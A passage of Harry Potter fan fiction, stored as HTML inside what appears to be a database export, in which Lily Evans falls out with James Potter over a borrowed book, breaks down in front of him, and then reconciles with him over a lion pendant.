between Sirius and Remus, second row from the front, a bit to her right. She could only see his profile and couldn&#8217;t gauge his real mood, but, his strained &#8216;Here&#8217; as McGonagall called his name, told her everything she wanted to know. She resolved to try to avoid him for at least the rest of the day, possibly for the rest of the week.</p>\n\n<p>&nbsp;</p>\n<p>                                                        *******************************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily bolted to the door as soon as the lesson was finished and Marian had to run to catch her.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Is there something between you and James?&quot; she asked.</p>\n\n<p>&nbsp;</p>\n<p>Lily started and looked nervously around her to see if anyone had heard. The coast was clear. &quot;Lower you voice, will you,&quot; she whispered through her clenched teeth. &quot;Of course there isn&#8217;t anything between James and me. Where did you get that ludicrous idea?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, he looked kind of angry when Sirius gave you that book,&quot; Marian whispered back. &quot;I know you&#8217;ve noticed: you&#8217;re trying to avoid him. It doesn&#8217;t take a genius to work out something&#8217;s wrong.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s nothing serious, I&#8217;ve just been stupid, nothing new or remotely interesting here.&quot; Lily picked up her pace to notify the end of the conversation.</p>\n\n<p>&nbsp;</p>\n<p>Marian kept up with her and paid no attention to Lily&#8217;s unwillingness to discuss the subject. &quot;We have Divination now, and it&#8217;s a long walk to the North tower. There&#8217;s plenty of time for you to tell me that uninteresting story of yours.&quot;</p>\n\n<p>&nbsp;</p>\n<p>One look at her friend&#8217;s decided expression spurred Lily into telling her everything. She really needed her advice anyway.</p>\n\n<p>&nbsp;</p>\n<p>&quot;So,&quot; she said when she had finished her story, &quot;do you think I should speak to James, to tell him that I was struck dumb by Sirius&#8217; offer and didn&#8217;t even think about refusing? Or is hiding the best solution?&quot; </p>\n\n<p>&nbsp;</p>\n<p>The two friends stopped under the trapdoor leading to the Divination classroom.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, if you speak to James to tell him <i>that</i>&#8230;&quot; Marian said slowly, while starting up the ladder.</p>\n\n<p>&nbsp;</p>\n<p> &quot;Yeah&#8230;even to me it sounds pathetic,&quot; Lily sighed, following her friend. &quot;Hiding seems the best option then.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Actually I was going to suggest letting him cool off for a few hours and then speaking to him. You should be able to come up with something better than what you suggested. It&#8217;ll be hard though; you were <i>really</i> stupid.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily hoisted herself on the floor and followed Marian to two huge and squashy armchairs on the side of the room. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Hiding shouldn&#8217;t be necessary,&quot; Marian continued as she sat down. &quot;This little incident is probably nothing compared to the, err&#8230; Astronomy Tower debacle.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily frowned at the mention of the &#8216;Astronomy Tower debacle&#8217;, as Marian liked to call it. She didn&#8217;t like being reminded of the cause of her biggest fight with James. She plopped down in the bright green chair next to her friend. &quot;But he still looked pretty angry to me,&quot; she said a bit hesitantly. &quot;I&#8217;ve messed things up royally.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, it&#8217;s not the first time and it certainly won&#8217;t be the last,&quot; Marian said cheerily. &quot;You&#8217;re still alive, so there&#8217;s nothing to worry about.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Thanks Marian, you&#8217;re a true friend,&quot; Lily said sarcastically. &quot;I would have liked -&quot; She stopped as the trapdoor opened and the other students started to trickle in. When she spoke again, her voice was hushed so as not to be overheard. &quot;I would have liked more moral support,&quot; she hissed.</p>\n\n<p>&nbsp;</p>\n<p>&quot;But I&#8217;ve been giving you moral support!&quot; Marian protested. &quot;You got out of sticky situations with James before and you&#8217;ll do it again this time.&quot; She smiled comfortingly - Lily took the matter much too seriously in her opinion. &quot;Speaking of the devil&#8230;&quot; she added, jerking her chin toward the trapdoor.</p>\n\n<p>&nbsp;</p>\n<p>Lily twisted in her chair and saw James graciously extracting himself from the hole. Quidditch really had its advantages, she thought not for the first time. She would have liked to get out of the trapdoor in that graceful way. He chose a seat at the other end of the room, but directly facing hers. Remus, who also took Divination, followed and sat down next to him. Lily bit her lower lip nervously as he began to stare at her, as if trying to will some information into her mind. She had no doubt that, whatever it was, it wasn&#8217;t anything pleasant. She glanced uneasily at Marian for support but her friend was looking in another direction. She followed her gaze and her eyes came to rest on the unfamiliar figure of a thin witch dressed in extravagant clothes with what seemed to be twice her body weight in bracelets and chains. She looked quite young and wore a pair of glasses which made her eyes look huge. She took a few steps forward and her jewellery clinked a bit. All in all, she looked like an overgrown cricket.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I am sorry to say my father won&#8217;t be able to teach you the secrets of the Inner Eye for a few weeks,&quot; the strange woman said in a misty voice. &quot;He has been called away to a place where his gift will be most needed, and I will take over his classes in his absence.&quot;</p>\n\n<p>&nbsp;</p>\n<p>There were whisperings amongst the students. The unexpected departure of the old crack-pot Trelawney wasn&#8217;t totally unwelcome, but his daughter seemed even worse. The way she said &#8216;the Inner Eye&#8217; as if it held all the answers of the universe&#8230;</p>\n\n<p>&nbsp;</p>\n<p>&quot;My name is Sybill Trelawney,&quot; their temporary professor went on, starting to walk around the room. &quot;Today we will work with something simple so I can evaluate you.&quot; She waved her hand, her bracelets ringing, and crystal balls appeared on the little tables between the chairs.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Now, before you start clearing your Inner Eyes of all parasitic emotions, I need to call all your names so I can get acquainted with you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily sighed. It was going to be a long lesson. James had stopped staring at her but she knew he was biding his time. She&#8217;d have to be quick again at the end of the lesson; she didn&#8217;t want to confront him just yet. When the Cricket had finished with the register, Lily turned to her crystal ball and stared into it. She soon stopped when all she could see was James&#8217; face as it had been when he had seen the book Sirius was giving her. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Your turn,&quot; she muttered to Marian as she sat back into her chair. She looked sulkily around her and noticed that Trelawney seemed to take a great interest in James and Remus&#8217; ball. The boys looked quite uncomfortable, and Remus discretely made &#8216;crazy&#8217; signs to James over her head. James rolled his eyes and scooted further away in his chair as Trelawney leaned even closer to him, presumably to peer deeper into the ball.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Looks like Trelawney Jr. finds James&#8217; Inner Eye to her taste,&quot; Marian snickered.</p>\n\n<p>&nbsp;</p>\n<p>Lily grinned. The look on James and Remus&#8217;s faces was priceless.</p>\n\n<p>&nbsp;</p>\n<p>The sound of ringing bracelets was heard again as Sybill Trelawney waved her hand absently. &quot;You can go now,&quot; she said in her misty voice. &quot;I have seen something of the utmost importance in Mr Potter&#8217;s crystal ball and I need to concentrate on it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The students didn&#8217;t need to be told twice, and they hastily left the classroom. A few sympathetic glances were cast in the direction of James and Remus, who didn&#8217;t look very happy at this turn of events.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Do you want to go to the Great Hall and have lunch now?&quot; Marian asked when they got to the bottom of the ladder.</p>\n\n<p>&nbsp;</p>\n<p>&quot;No, I&#8217;m not hungry. I think I&#8217;ll go back to the dormitory and catch up on some work.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Marian looked at Lily suspiciously. &quot;Are you sure you&#8217;re alright? You didn&#8217;t eat anything at breakfast and now you want to skip lunch&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;m perfectly alright,&quot; Lily answered with a smile. &quot;Don&#8217;t worry about me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;If  you&#8217;re sure&#8230;&quot; Marian didn&#8217;t look very convinced.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Of course I&#8217;m sure, silly! Go and get your lunch now, I&#8217;ll be fine.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;ll bring you something back when I&#8217;m finished,&quot; Marian said over her shoulder as she walked away.</p>\n\n<p>&nbsp;</p>\n<p>The Divination students had wasted no time in leaving the corridor and Lily was left alone. As she walked back to Gryffindor Tower, she felt her shoulders sag. She knew she was pushing her friend away and she felt like the most horrible and egotistical person on the planet. Marian wasn&#8217;t fine and she needed support; she hadn&#8217;t got over what had happened this summer, and it was slowly eating her away inside. But Lily was such a wreck herself that she couldn&#8217;t see how she would be able to help her friend. Her previously small and ordered little world had been disintegrating over the last few years, and she had only been made aware of it a few months ago. Now it was too late to reconstruct. She would have to let go and build something new. But God, it was hard.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">&nbsp;</p>\n<p align="CENTER">*********************************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<i><p>&#8216;The extreme difficulty and danger of performing the transformation are the reasons for the very limited number of Animagi roaming the Wizarding world. But it has not stopped some reckless wizards from trying it, with disastrous results.&#8217;</p>\n\n<p>&nbsp;</p>\n</i><p>&quot;Definitely not for me,&quot; Lily muttered as she finished the introduction written by the author of <i>Animagi: A History</i>.  She turned the page to the first chapter: &#8216;The Misadventures of Marcus Goodman, or What a Sensible Wizard Should Never Do&#8217;. As she started to read, Lily was glad she had decided to skip lunch. She would surely have thrown up at the detailed descriptions of said &#8216;misadventures&#8217;.</p>\n\n<p>&nbsp;</p>\n<p>A sudden bright flash of green light shone from under the dormitory door and Lily started badly as it flew opened and crashed loudly into the stone wall. She only knew of one person who would intrude upon her privacy like that. And it was the very person she had wanted to avoid by locking herself into her dorm while everyone was down in the Great Hall for lunch. And, judging from the power contained in that blast, he was still extremely angry.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>She swallowed nervously as James strode into the room, stopping a few feet from the bed, looking down at her. From her position, sprawled on her stomach on top of the bed, he looked quite menacing.</p>\n\n<p>&nbsp;</p>\n<p>Lily shook herself mentally. She <i>wasn&#8217;t</i> afraid of James Potter. She slid off the bed slowly and got to her feet, deciding that it was as good time as any to apologise, and she tried to direct the conversation onto friendly ground.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don&#8217;t you knock?&quot; she asked lightly. &quot;It&#8217;s very impolite to blast your way into a room like that, you know.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James&#8217; eyes flashed dangerously. &quot;Impolite?&quot; he repeated in a voice so low and unlike him that Lily had every trouble to keep her smile from wavering. &quot;And what do you call it when someone rejects an offer of help from a supposedly trusted friend, only to run and ask someone else behind said trusted friend&#8217;s back?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily instinctively reached for a bedpost and gripped it tight. She had never been afraid of James before, but then she had never seen him like this; it was a James she didn&#8217;t know. He was so still he looked like a statue: cold, emotionless, foreign. All his feelings seemed to be concentrated in his eyes, which were fixed on her. His left arm was still raised, wand at the ready. The small portion of Lily&#8217;s brain that was still functioning told her that it <i>couldn&#8217;t</i> be all about that Transfiguration book - she had done worse things to him and he had never got in state like this - but she was too confused and shaken to pay attention to it.</p>\n\n<p>&nbsp;</p>\n<p>She pulled her hand away from the bedpost with difficulty; the two seemed glued together. She started walking hesitantly toward James. Her robes brushed lightly against the Gryffindor-red coverlet as she skirted round her bed, and the soft rustling sound was curiously soothing. Any doubt she might have had about what she was going to do vanished. She was conscious of James&#8217; eyes on her, but she walked deliberately and purposefully.</p>\n\n<p>&nbsp;</p>\n<p>James didn&#8217;t say a word and didn&#8217;t move the smallest muscle as he watched her approach, not even when she stopped only a few inches from him.</p>\n\n<p>&nbsp;</p>\n<p>Now almost touching him, she could feel powerful vibes radiating from his still body, and it was strangely electrifying, almost erotic. She took a deep breath - she knew she needed to do this, or their friendship would be broken beyond repair. It had been stretched and twisted during the past few months, and the breaking point had come. She wouldn&#8217;t let it happen. She was going to do a very selfish act and she was aware of it. But she needed him badly; she had to have someone to lean on and to help her.</p>\n\n<p>&nbsp;</p>\n<p>Looking into his eyes, she took his right hand in her smaller one and delicately brought it just above her left breast, against her heart. She knew he could fell it beating erratically. Something flickered in his eyes and he slowly lowered his left arm to his side.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Why does it have to be like this, James? We were never really close, but we used to have a wonderful and easy friendship, and you don&#8217;t know how much it meant to me. What happened to us?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily could see conflicting emotions she couldn&#8217;t identify pass through his blue eyes. She was so distraught she couldn&#8217;t even read a single one, not that it would have been very easy in the first place.</p>\n\n<p>&nbsp;</p>\n<p>But he still didn&#8217;t move or speak.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I want it back James,&quot; she pleaded. &quot;Tell me what I have to do.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Even without her gift, Lily should have been able to see the total look of despair and helplessness that he couldn&#8217;t hide after hearing her pleas. As it was, she didn&#8217;t see anything. She started to tremble uncontrollably as she took his hand away from her chest and let it fall back to his side. She felt so alone all of the sudden, so desperately alone. Tears came to her eyes as great waves of formerly repressed emotions and fears came crashing down on her.</p>\n\n<p>&nbsp;</p>\n<p>For the first time in her sixteen years of life, Lily Evans crumbled.</p>\n\n<p>&nbsp;</p>\n<p>She threw herself against James and embraced him tightly, never wanting to let go of his comforting warmth. She was crying freely now and she felt him tense, but he didn&#8217;t pull away.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Please James, I want it back,&quot; she sobbed into his shoulder. &quot;I <i>need</i> it back. I&#8217;m so afraid, you don&#8217;t know how afraid I am.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Through her loud sobs she vaguely heard James closing the door with his wand. She felt him slide a hand under her knees and lift her in his arms. She felt him put her gently on her bed. She felt him lying down next to her, holding her. She felt him caress her hair&#8230; She was surprised at how many things she felt in her seemingly numb body&#8230;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Tell me what you&#8217;re afraid of, Lily.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James&#8217; voice was so soft, so gentle, so comforting. Lily found herself spilling out everything. How she was tired of being strong; how she was afraid for her family, her friends, herself; how she was terrified of the rise of Voldemort and the Muggle-born persecution; how she sometimes felt so alone it hurt&#8230; She told him everything.</p>\n\n<p>&nbsp;</p>\n<p>When she had finished, James said nothing. He just held her tighter and let her cry herself to sleep.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n'),
	(170, 5, '\n\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><u></u><p><u>CHAPTER 5</u>: Getting closer to fine</p>\n</b>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily was awoken by something wet and rough. It took her a minute to realise it was Cl&#233;obulle licking her face. She blinked several times before sitting up on her bed, and looking around, she saw that she was alone. The declining sun was pouring its last beams through the high window and the room was bathed in a golden hue. A glance at her bedside table told her that it was six o&#8217;clock and that, true to her word, Marian had brought a plate full of goodies. She reached for it, and frowned when she saw that a couple of raspberry jam sandwiches were already nibbled at. Lily threw an accusing glance at Cl&#233;obulle who was currently sharpening his claws on the bed coverlet, looking hungrily at the plate resting on Lily&#8217;s lap.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You little devil!&quot; Lily exclaimed. &quot;As if you weren&#8217;t fat enough as it is!&quot;</p>\n\n<p>&nbsp;</p>\n<p>Cl&#233;obulle just purred and decided that indeed he wasn&#8217;t fat enough, and that he needed to get himself another of those little sandwiches.</p>\n\n<p>&nbsp;</p>\n<p>Lily was about to put the plate out of Cl&#233;obulle&#8217;s reach when she noticed there was something glittering on the bed where her cat had previously been laying. Discarding  the plate to the great delight of Cl&#233;obulle, she reached for the shiny object. It was a small gold pendant on a thin golden chain. </p>\n\n<p>&nbsp;</p>\n<p>As she looked at the pendant more closely, Lily noticed that it was cut in the shape of a lion with a raised front paw. Its tiny eyes were the same emerald green as hers and seemed to be alive.</p>\n\n<p>&nbsp;</p>\n<p>It could only belong to James.</p>\n\n<p>&nbsp;</p>\n<p>James...</p>\n\n<p>&nbsp;</p>\n<p>Lily sighed. She couldn&#8217;t believe she had lost her composure like that in front of him. What had happened when he first entered the room was now a bit hazy, but she could remember throwing herself at him quite vividly. What must he think of her now?</p>\n\n<p>&nbsp;</p>\n<p>Should she tell him that he had seemed like the only person she could trust? Should she tell him that she, in fact, was nothing without him and his friendship? She had only realised it when she was faced with the possibility of losing him. In a flash she had remembered all that they had done together, especially during their fifth year. He had always been there for her, to tease her, help her or comfort her, depending on the situation.</p>\n\n<p>&nbsp;</p>\n<p>She had been badly shaken by their rift last year, but she realised now how important he was to her. And she had to tell him.</p>\n\n<p>&nbsp;</p>\n<p>Her mind made up, she pocketed the pendant and went to the door, leaving Cl&#233;obulle feasting on raspberry jam sandwiches on the bed.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>                                              *************************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The Gryffindor common room was quite full when Lily arrived. A lot of students were waiting for dinner there rather than going to the library to study or staying in their dorms. Marian was nowhere in sight and Lily heaved a sigh of relief. She wanted to set things right with James before confiding in her friend. She spotted Peter playing exploding snap with a third year and approached him to ask if he knew where his friends were.</p>\n\n<p>&nbsp;</p>\n<p>Peter cautiously placed a card on the top of the huge and curious looking mound in front of him before looking up at Lily. His little pale blue eyes were twinkling as he answered her.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well&#8230; Sirius and Remus went to the library to do some research for&#8230; err&#8230; a special project, but James said he was going to go flying. He wasn&#8217;t in a very good mood, our James. I wonder what&#8217;s up with him?&quot; he asked innocently, but the hint of a knowing grin was playing on his lips.</p>\n\n<p>&quot;Thanks Peter,&quot; Lily said, looking suspiciously at his expression.</p>\n\n<p>&nbsp;</p>\n<p>She lost no time going out through the portrait hole, rehearsing a little speech as she walked through the corridors. By the time she arrived at the entrance doors she had given up and was hoping improvisation would serve her best. She jerked open the massive oak doors easily - everything at Hogwarts was enchanted, it seemed - and stepped over the threshold.</p>\n\n<p>&nbsp;</p>\n<p>Lily squinted her eyes in the light of the setting sun and looked towards the Quidditch pitch. There, in the distance, a tiny figure was zooming at great speed around the pitch.</p>\n\n<p>&nbsp;</p>\n<p>It took her a few minutes to get to the stands and to go through the teams&#8217; entrance doors. When she finally got to the pitch, the light was quickly fading but she could see James hovering in the air, not moving. He had seen her too.</p>\n\n<p>&nbsp;</p>\n<p>She fingered her robes nervously as she watched him head slowly towards the ground. He stopped neatly in front of her and jumped off his broom. The captain badge pinned on his Quidditch robes was glowing gently in the setting sun and he seemed to be breathing rather heavily, as if he had just finished a gruelling practice. His face was a careful blank.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Do you want to sit down?&quot; Lily asked with concern. &quot;You look rather tired.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James waved a dismissive hand. &#8216;I&#8217;m fine,&quot; he said rather shortly. &quot;Was there something you wanted to talk to me about?&quot; he asked more gently when he saw Lily flinch slightly at his abrupt tone.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I - I wanted to thank you for what you did this afternoon,&quot; Lily stuttered.</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s okay, you don&#8217;t have to thank me. You weren&#8217;t well, it&#8217;s a prefect&#8217;s duty to look after fellow students in need.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He sounded so detached, so indifferent. Was it the same boy who had held her tenderly in his arms a few hours ago? Lily nodded a bit uncertainly and swallowed. This wasn&#8217;t going as she wanted at all, and she made a mental note not rely on improvisation in the future.</p>\n\n<p>&nbsp;</p>\n<p>&quot;If there wasn&#8217;t anything else we should go back to the castle,&quot; James said before starting to walk away.</p>\n\n<p>&nbsp;</p>\n<p>Lily followed, having trouble keeping up with him. He wasn&#8217;t slowing his pace to make it easier for her this time. She started to pant, half running, half walking, whereas he seemed to be breathing more calmly with every step.</p>\n\n<p>&nbsp;</p>\n<p>She would get nowhere in her apology if he continued to be that stubborn. It was time for desperate measures. She stopped dead in her tracks and called loudly: &quot;James Potter!&quot;</p>\n\n<p>&nbsp;</p>\n<p>James stopped, he was already a few steps away from her and had reached the front steps of the castle. He turned to face her, raising an eyebrow.</p>\n\n<p>&nbsp;</p>\n<p>Lily walked up to him, and gripping his forearms, she forced him to sit down with her on the bottom step. There, he wouldn&#8217;t get away so easily now. &quot;We&#8217;re going to clear up everything once and for all,&quot; she said with determination.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Clear up everything?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes. And I&#8217;ll start with an apology.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;An apology for what?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;For that Transfiguration business.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James frowned slightly but said nothing, and Lily plunged forwards.</p>\n\n<p>&nbsp;</p>\n<p>&quot;James, if you had been in the library on Sunday afternoon I would have accepted your help,&quot; she blurted out.</p>\n\n<p>&nbsp;</p>\n<p>James waited a bit for her to continue but she seemed to have finished.</p>\n\n<p>&nbsp;</p>\n<p>&quot;And&#8230;&quot; he prodded tentatively.</p>\n\n<p>&nbsp;</p>\n<p>&quot;And what?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;What do you mean &#8216;and what&#8217;? Was that all of the apology you had to give?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, what&#8217;s wrong with it? I was being honest.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Honest?&quot; James repeated in disbelief.</p>\n\n<p>&nbsp;</p>\n<p>He sighed at Lily&#8217;s hurt expression. &quot;Look Lily, I can usually follow the twisted way your brain seems to work, but there are times, like now, when I&#8217;m totally lost. In what way exactly is what you just said an apology?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily wasn&#8217;t too happy with the &#8216;twisted brain&#8217; part but let it pass.</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s not <i>exactly</i> an apology,&quot; she admitted reluctantly. &quot;I just meant to say that I didn&#8217;t need help when you asked but I did when I met Sirius in the library the next day. I never meant to ask him rather than you in the first place. And I was so surprised when he offered to lend me the book that I didn&#8217;t have the chance to say no.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James stared hard Lily but she could see he was trying to suppress a smile, and she tried not to look too triumphant. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Why is it that I can never stay angry at you when you start explaining the obscure reasoning behind everything you do?&quot; he asked in mock exasperation.</p>\n\n<p>&nbsp;</p>\n<p>Lily grinned. &quot;Because I&#8217;m irresistible?&quot;</p>\n\n<p>&nbsp;</p>\n<p>He shook his head. &quot;No, I think it&#8217;s because of your love of raspberries.&quot; He laughed. &quot;Whenever I feel like strangling you there&#8217;s this image of you licking your fingers covered in raspberry jam popping into my head and I always end letting you live in the end.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily was shocked. &quot;James! The only time you caught me doing that was in our first year!&quot;</p>\n\n<p>&nbsp;</p>\n<p>She remembered it like it was yesterday. She had been very homesick and depressed a week into school. Coming to Hogwarts didn&#8217;t seem so great any more. One night, she had taken a jar of home-made raspberry jam from her trunk and tiptoed down to the common room where the fire was slowly dying. She remembered sitting down in one of the big, squashy armchairs, trying to open the jar with her small hands. It had taken eleven-year-old Lily a long time but she had succeeded and could finally dip her fingers into the deliciously sticky mixture. She was licking them off, happy memories from home floating through her mind, when James had come down the stairs, his hair as messy as ever. She never thought he would remember it.</p>\n\n<p>&nbsp;</p>\n<p>&quot;So? I have an excellent memory,&quot; he answered simply, smiling.</p>\n\n<p>&nbsp;</p>\n<p>Lily was troubled by the tender look in his eyes and lowered her gaze. She started to pluck at the grass, which came right up to the steps, but James&#8217; hand came to rest on top of hers, and she looked up. He wasn&#8217;t smiling anymore and his expression was grave.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You were sad then, you wanted your parents,&quot; he said softly. &quot;You&#8217;re sad now too, have been for a long time, in fact. I wished&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily never knew what he wished because he stopped quite suddenly and looked into the distance. The night had fallen without Lily noticing and stars were twinkling in the black sky. A lantern fixed above the oak doors was throwing its soft light on them and seemed to be casting some sort of spell. Surely James&#8217; face had never had that ethereal and otherworldly quality before? She looked at him more closely and it seemed to her that he wasn&#8217;t quite there on the steps with her anymore. But wherever he was, it was not a happy place. She had never seen him so downcast, as if a great weight was resting on his shoulders.</p>\n\n<p>&nbsp;</p>\n<p>A gust of wind came blowing towards them and Lily shivered. As she put her hands in her pockets to keep them warm her right hand came in contact with the cold metal of the small lion pendant she had meant to give back to James. She pulled it out and held it in her palm. Despite the freshness of the night it warmed up quickly at the contact with her skin, and she was suddenly loath to part with it. James was still looking off into the distance and hadn&#8217;t seen it yet; she could easily put it back into her pocket and keep it. It was almost as if it was <i>asking</i> her to keep it; a pleasant warmth was spreading through her body and it felt wonderful. </p>\n\n<p>&nbsp;</p>\n<p>She was about to give in when another gust of wind, stronger and colder than the first one, brought her back to reality, and the metal felt cold in her hand once more. She must have been imagining things.</p>\n\n<p>&nbsp;</p>\n<p>She got up and shook James by the shoulder. He blinked and looked up at her.</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s getting cold, we should get inside and have some dinner.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He nodded and stood up. Together they silently went up the stairs and through the doors. It was only when they arrived at the entrance to the Great Hall that Lily stopped and handed James the necklace.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You left it in my room this afternoon,&quot; she said.</p>\n\n<p>&nbsp;</p>\n<p>James looked at the pendant in his hand and then back at Lily. His eyes were unreadable.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Thank you,&quot; was all he said.</p>\n\n<p>&nbsp;</p>\n<p>Lily smiled. &quot;You&#8217;re welcome.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Having spotted Marian sitting alone at the Gryffindor table, she was about to walk over to her when James placed a hand on her arm to stop her.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I think I need to apologise to you, too.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily just looked at him, dumbfounded.</p>\n\n<p>&nbsp;</p>\n<p>&quot;For barging into your dorm like I did,&quot; he clarified.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Oh, well&#8230;You had every reasons to be angry, I suppose,&quot; she hazarded.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes, but I wasn&#8217;t really mad at you. There are&#8230;&quot; He hesitated. &quot;There are other things on my mind,&quot; he finally said. &quot;But I shouldn&#8217;t have turned my anger onto you like that. I don&#8217;t know what came over me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily bit her lip and thought for a moment. &quot;Was it something that Trelawney said to you this morning?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s complicated, Lily,&quot; he answered, side-stepping her question. &quot;You don&#8217;t need to be burdened with it, you have your own issues to deal with. Don&#8217;t worry about me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;If you say so,&quot; Lily said, unconvinced.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Indeed I say so, my little Poppy.&quot; He smiled. &quot;Now go and have some dinner with your friend. She seems rather lonely,&quot; he said gesturing towards Marian. &quot;I&#8217;ll go and sit with the boys.&quot; </p>\n\n<p>&nbsp;</p>\n<p>It was only when he had walked away and she saw him laughing with his friends that she realised she hadn&#8217;t told him half of what she wanted to. Sighing, she walked over to Marian and sat down, thanking her for the sandwiches.</p>\n\n<p>&nbsp;</p>\n<p>                                                   ****************************</p>\n\n<p>&nbsp;</p>\n<p>Time passed rather uneventfully until Thursday. Marian had helped Lily take her measurements for the duelling uniforms since Lily had been sleeping when Madam Malkin came on Monday, classes were still the same as always, and Hogwarts and its inhabitants had settled into the usual routine. She had not spoken privately with James since their little talk but everything seemed to be fine between them. Her breakdown had done Lily a lot of good, and had she not still been musing over the strange Duelling professor, she would have felt better than she had in a long time.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I don&#8217;t think I should have had that extra piece of apple pie for dessert,&quot; Marian said as she and Lily were walking to their first Duelling class. &quot;I&#8217;ll have all the grace of an oliphant if we&#8217;re asked to do some physical stuff.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s &#8216;elephant&#8217;,&quot; Lily corrected automatically. Marian was a pureblood and very fond of Muggle culture, but she had a hard time getting things exactly right.</p>\n\n<p>&nbsp;</p>\n<p>Marian shrugged. &quot;Oliphant, elephant&#8230; Sounds close enough to me. By the way, since we&#8217;re talking about Muggle things, didn&#8217;t you say you&#8217;d finished that Moonstone book? You said you&#8217;d lend it to me when you had.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Only if you promise not to look at the last page while you&#8217;re still halfway through the story.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I promise,&quot; Marian answered with a huge grin. She loved detective fictions written by Muggles; she was fascinated by the way the characters could solve an enigma without the use of magic.</p>\n\n<p>&nbsp;</p>\n<p>Lily smiled indulgently. &quot;I&#8217;ll give the book to you tomorrow, and I&#8217;ll charm it so you won&#8217;t be able to find out how it ends without reading every single word in order first.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Just say flat out you don&#8217;t trust me! And there&#8217;s no such spell anyway.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Oh but there is.&quot; Lily looked smug. &quot;I did some research after you spoiled yourself the ending of <i>The Unicorn</i>.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Marian was about to protest but didn&#8217;t get the chance as they had reached the classroom and she saw that Professor Raven was standing in the corridor, next to the door.</p>\n\n<p>&nbsp;</p>\n<p>His face was expressionless, as were his eyes as they swept over the two girls. &quot;Names?&quot; he asked.</p>\n\n<p>&nbsp;</p>\n<p>Marian answered for the both of them. &quot;Marian 